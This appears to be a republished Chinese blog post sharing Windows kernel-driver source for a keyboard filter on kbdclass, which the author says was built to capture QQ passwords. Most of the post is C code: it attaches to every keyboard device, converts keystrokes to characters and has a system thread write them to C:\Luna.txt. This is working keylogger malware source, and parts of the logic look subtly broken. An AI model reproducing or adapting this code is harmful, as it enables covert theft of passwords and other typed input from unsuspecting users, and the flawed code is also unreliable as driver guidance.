Windows驅動過濾--kdbclass過濾,寒江獨釣加強版

來源:互聯網
上載者:User

標籤:

寒江獨釣鍵盤過濾,修改了下,過濾QQ密碼寫入buff,有 斷行符號 或者buff滿寫入檔案,因為irp完成,irp對應的記憶體快回收,所以用全域緩衝區。開啟一個線程寫入,開始打算用隊例一個一個處理irp的,但是發現那樣比較緩慢,只好這樣了。。建立進程回調代碼加幾行就行,這裡沒寫,因為代碼丟失了,算是個大概的代碼吧。給初學的分享下。有錯指出,謝謝。

前輩們不要見笑了。

 

 

struct.h

/************************************///author:DuanYueming//data: 02/05/2015//File: Lstruct.h /************************************/#ifndef _LSTRUCT_H_#define _LSTRUCT_H_typedef struct _DEVICE_EXTENSION {PDEVICE_OBJECT pDeviceObj;PDEVICE_OBJECT pAttachDev; //上層裝置PDEVICE_OBJECT pLowDevice; //底層裝置PDEVICE_OBJECT pStorageDev; //儲存的裝置PDEVICE_OBJECT pTarDevice; //目標裝置UNICODE_STRING MyDeviceName;UNICODE_STRING MyDeviceSym;ULONG pMyDevFlg;IO_REMOVE_LOCK MoveLock;}DEVICE_EXTENSION,*PDEVICE_EXTENSION;typedef struct _MultVar{  PVOID pBuff;  KEVENT WaitEvent;  ULONG  Length;}MULTVAR,*PMULTVAR;#define  BUFF_SIZE 256typedef struct _MY_BUFF{PUCHAR pBuf;int MaxSize;int CurSize;int Offset;}MYBUFF,*PMYBUFF;typedef struct  _MY_DATA{   PIRP Irp;PVOID pBuff;LIST_ENTRY ListEntry;}MY_DATA,*PMYDATA;

  

#define  MyDeviceFlags ‘LUNA‘#define  MyCdoDeviceFlags ‘LCdo‘#define  RemoveTag  ‘Lmn‘#define DELAY_ONE_MICROSECOND   (-10)#define DELAY_ONE_MILLISECOND   (DELAY_ONE_MICROSECOND*1000)#define DELAY_ONE_SECOND        (DELAY_ONE_MILLISECOND*1000)#define IS_MY_DEVICE_OBJECT(_obj)  (((PDEVICE_EXTENSION)_obj->DeviceExtension)->pMyDevFlg == MyCdoDeviceFlags || PDEVICE_EXTENSION(_obj->DeviceExtension)->pMyDevFlg == MyDeviceFlags)#define IS_MY_CONTROL_DEVICE(_obj)  (((PDEVICE_EXTENSION)_obj->DeviceExtension)->pMyDevFlg == MyCdoDeviceFlags)

  

/********未歸檔函數************/NTSTATUSObReferenceObjectByName(PUNICODE_STRING ObjectName,ULONG Attributes,PACCESS_STATE AccessState,ACCESS_MASK DesiredAccess,POBJECT_TYPE ObjectType,KPROCESSOR_MODE AccessMode,PVOID ParseContext,PVOID *Object);extern POBJECT_TYPE *IoDriverObjectType;

  

NTSTATUS LQueryObjectName(PVOID Lobject,PUNICODE_STRING name)//查詢檔案名稱{NTSTATUS status;POBJECT_NAME_INFORMATION pBuff;WCHAR cache[64];ULONG NeedLength;pBuff = (POBJECT_NAME_INFORMATION)cache;status = ObQueryNameString(Lobject,pBuff,64*sizeof(WCHAR),&NeedLength);if (status == STATUS_INFO_LENGTH_MISMATCH){pBuff =(POBJECT_NAME_INFORMATION) ExAllocatePool(NonPagedPool,NeedLength);if (pBuff == NULL){return STATUS_INSUFFICIENT_RESOURCES;}RtlZeroMemory(pBuff,NeedLength);status = ObQueryNameString(Lobject,pBuff,NeedLength,&NeedLength);}name->Length = 0;RtlCopyUnicodeString(name,&pBuff->Name);return status;}VOID LUnInstallDriver(PDRIVER_OBJECT pDriverObject){  PDEVICE_EXTENSION pDevExt;PRKTHREAD CurrentThread;LARGE_INTEGER time;PDEVICE_OBJECT  pDevObj;time = RtlConvertLongToLargeInteger(100*DELAY_ONE_SECOND);pDevObj = pDriverObject->DeviceObject;CurrentThread = KeGetCurrentThread();KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);while (pDevObj){pDevExt =(PDEVICE_EXTENSION) pDevObj->DeviceExtension;IoDeleteSymbolicLink(&pDevExt->MyDeviceSym);pDevObj = pDevObj->NextDevice;IoDetachDevice(pDevExt->pLowDevice);IoDeleteDevice(pDevExt->pDeviceObj);}while (1){}KdPrint(("Driver UnInstall Complete,leave\n"));}NTSTATUS LDispatchRoutine(PDEVICE_OBJECT pDeviceObject,PIRP pIrp){   PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);IoSkipCurrentIrpStackLocation(pIrp);return  IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pLowDevice,pIrp);}

  以下是代碼:

#include "QFilter.h"NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath){int i;NTSTATUS status;HANDLE Thread;/********初始化全域變數***********/IsWriteData = FALSE;IsNeedFilter = FALSE;InitializeListHead(&g_list);g_buff =(PMYBUFF) ExAllocatePool(NonPagedPool,sizeof(MYBUFF));if (g_buff ==NULL){KdPrint(("no through memory \n"));return 0;}else{g_buff->pBuf =(PUCHAR)ExAllocatePool(NonPagedPool,BUFF_SIZE);ASSERT(g_buff->pBuf);g_buff->MaxSize = BUFF_SIZE;g_buff->Offset = 0;g_buff->CurSize = 0;}/********初始化全域變數***********/pDriverObject->DriverUnload = LUnInstallDriver;for (i = 0;i <IRP_MJ_MAXIMUM_FUNCTION;i++){pDriverObject->MajorFunction[i] = LDispatchRoutine;}pDriverObject->MajorFunction[IRP_MJ_READ] = ReadRoutine;pDriverObject->MajorFunction[IRP_MJ_POWER] = PowerRoutine;pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ContrlRoutine;//pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseIrp;status = CreateMyCDODevice(pDriverObject);if (!NT_SUCCESS(status)){return status;}status = BindKbdDriver(pDriverObject);if (!NT_SUCCESS(status)){return status;}status = PsCreateSystemThread(&Thread,GENERIC_ALL,NULL,NULL,NULL,ProcessIrp,NULL);if (!NT_SUCCESS(status)){KdPrint(("Create Thread Failed \n"));return status;}KdPrint(("Start Kbd Filter SuccessFuly \n"));return STATUS_SUCCESS;}VOID ProcessIrp(PVOID pContext){   //PMYDATA data;PVOID buff = NULL;    for (;;)    {    //    PLIST_ENTRY HeadData = RemoveHeadList(&g_list);//data = CONTAINING_RECORD(HeadData,MY_DATA,ListEntry);if (IsWriteData == TRUE&& g_buff->pBuf != NULL){  KdPrint(("hehehehe\n"));KdPrint(("111\n"));KdPrint(("2222\n"));MyWriteDataFile();RtlZeroMemory(g_buff->pBuf,g_buff->MaxSize);g_buff->CurSize = 0;g_buff->Offset = 0;}    }}NTSTATUS PowerRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp){   PoStartNextPowerIrp(pIrp);   IoSkipCurrentIrpStackLocation(pIrp);   return PoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);}NTSTATUS CreateMyCDODevice(PDRIVER_OBJECT pDriverObj){NTSTATUS status;UNICODE_STRING DevSym;UNICODE_STRING DevName;PDEVICE_OBJECT pNewDev;PDEVICE_EXTENSION pDevExt;RtlInitUnicodeString(&DevName,L"\\Device\\QFilter");status = IoCreateDevice(pDriverObj,sizeof(DEVICE_EXTENSION),&DevName,FILE_DEVICE_UNKNOWN,0,TRUE,&pNewDev);if (!NT_SUCCESS(status)){   KdPrint(("Create CDO DevObj Failed \n"));   return status;}RtlInitUnicodeString(&DevSym,L"\\??\\QFilterSym");    status = IoCreateSymbolicLink(&DevSym,&DevName);if (!NT_SUCCESS(status)){KdPrint(("Create Cdo Symbolic Failed \n"));IoDeleteDevice(pNewDev);return status;}pNewDev->Flags |=DO_BUFFERED_IO;pDevExt = (PDEVICE_EXTENSION)pNewDev->DeviceExtension;pDevExt->pMyDevFlg = MyCdoDeviceFlags;pDevExt->MyDeviceName = DevName;pDevExt->pDeviceObj = pNewDev;pDevExt->MyDeviceSym = DevSym;return STATUS_SUCCESS;}NTSTATUS BindKbdDriver(PDRIVER_OBJECT pDriverObj){UNICODE_STRING kbdClass;PDEVICE_OBJECT pNewDev;PDEVICE_OBJECT pTarDev;PDEVICE_OBJECT pLowDev;PDEVICE_EXTENSION pDevExt;PDRIVER_OBJECT pKbdDrOb;NTSTATUS status = STATUS_SUCCESS;RtlInitUnicodeString(&kbdClass,L"\\Driver\\kbdclass");status = ObReferenceObjectByName(&kbdClass,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,NULL,(PVOID*)&pKbdDrOb);if (!NT_SUCCESS(status)){KdPrint(("Load KbdObj Failed :%x\n",status));return status;}ObDereferenceObject(pKbdDrOb);pTarDev = pKbdDrOb->DeviceObject;while (pTarDev){status = IoCreateDevice(pDriverObj,sizeof(DEVICE_EXTENSION),NULL,pTarDev->DeviceType,pTarDev->Characteristics,FALSE,&pNewDev);if (!NT_SUCCESS(status)){KdPrint(("Create Device Failed:%x\n",status));return status;}else{status = IoAttachDeviceToDeviceStackSafe(pNewDev,pTarDev,&pLowDev);if (!NT_SUCCESS(status)){    KdPrint(("Bind Failed \n"));return status;}    pDevExt = (PDEVICE_EXTENSION)pNewDev->DeviceExtension;pNewDev->Flags |= pLowDev->Flags&(DO_BUFFERED_IO | DO_DIRECT_IO |DO_POWER_PAGABLE);pNewDev->Flags &= ~DO_DEVICE_INITIALIZING;pDevExt->pDeviceObj = pNewDev;pDevExt->pMyDevFlg = MyDeviceFlags;pDevExt->pLowDevice = pLowDev;pDevExt->pAttachDev = pTarDev;pNewDev->StackSize = pDevExt->pLowDevice->StackSize+1;//IoInitializeRemoveLock(&pDevExt->MoveLock,0,0,0);}pTarDev = pTarDev->NextDevice;}RtlInitUnicodeString(&FileName,L"\\DosDevices\\C:\\Luna.txt");KdPrint(("Complete Device Bind \n"));return STATUS_SUCCESS;}VOID MyWriteDataFile(){   HANDLE handl;OBJECT_ATTRIBUTES objAttr;IO_STATUS_BLOCK block;NTSTATUS status;    InitializeObjectAttributes(&objAttr,&FileName,OBJ_CASE_INSENSITIVE,NULL,NULL);status = ZwCreateFile(&handl,GENERIC_WRITE,&objAttr,&block,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);if (!NT_SUCCESS(status)){KdPrint(("Create File Storage data Failed:%x",status));return;}status = ZwWriteFile(handl,NULL,NULL,NULL,&block,g_buff->pBuf,g_buff->CurSize,0,NULL);if (!NT_SUCCESS(status)){KdPrint(("WriteFile Failed:%X \n",status));ZwClose(handl);return;}KdPrint((" code:%C \n",g_buff->pBuf)); ZwClose(handl);}NTSTATUS ReadCompleteFun(PDEVICE_OBJECT pDeviceObj,PIRP pIrp,PVOID pContext){   ULONG KeyStructNum;PKEYBOARD_INPUT_DATA ptr;ULONG i;UCHAR ASCIICODE;if(/*IsNeedFilter &&*/NT_SUCCESS(pIrp->IoStatus.Status)  ){   KeyStructNum = pIrp->IoStatus.Information/(pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA));   ptr =(PKEYBOARD_INPUT_DATA) pIrp->AssociatedIrp.SystemBuffer;   for (i =0 ;i <KeyStructNum;++i)   {         ASCIICODE = print_keystroke(ptr[i].MakeCode);   if(g_buff->Offset >= (BUFF_SIZE-(5*UCHARSIZE)) || ASCIICODE == ‘0x0D‘)   {         KdPrint(("steup write data!!!!!!!!!!!!!!!!!!!\n"));   IsWriteData =TRUE;   RtlCopyMemory(((g_buff->pBuf)+(g_buff->Offset)),&ASCIICODE,UCHARSIZE);   g_buff->Offset += UCHARSIZE;   g_buff->CurSize +=UCHARSIZE;   }   else   {    IsWriteData =FALSE;   KdPrint(("------buff small---Start Write Data to File-- \n"));   }   }}      if (pIrp->PendingReturned)   {   IoMarkIrpPending(pIrp);   }return pIrp->IoStatus.Status;}NTSTATUS ReadRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp){   PIO_STACK_LOCATION stack;   NTSTATUS status = STATUS_SUCCESS;   if (pIrp->CurrentLocation ==1)   {   pIrp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;   pIrp->IoStatus.Information = 0;   IoCompleteRequest(pIrp,IO_NO_INCREMENT);   return STATUS_INVALID_DEVICE_REQUEST;   }   if (IS_MY_CONTROL_DEVICE(pDeviceObj))   {   pIrp->IoStatus.Status = STATUS_SUCCESS;   pIrp->IoStatus.Information = 0;   IoCompleteRequest(pIrp,IO_NO_INCREMENT);   return STATUS_SUCCESS;   }    stack = IoGetCurrentIrpStackLocation(pIrp);   IoCopyCurrentIrpStackLocationToNext(pIrp);   IoSetCompletionRoutine(pIrp,ReadCompleteFun,NULL,TRUE,TRUE,TRUE);  return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);}NTSTATUS ContrlRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp){PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);if (IS_MY_CONTROL_DEVICE(pDeviceObj)){switch(stack->Parameters.DeviceIoControl.IoControlCode){}}switch(stack->Parameters.DeviceIoControl.IoControlCode){default:  IoSkipCurrentIrpStackLocation(pIrp);  return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);}}

  

Windows驅動過濾--kdbclass過濾,寒江獨釣加強版

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.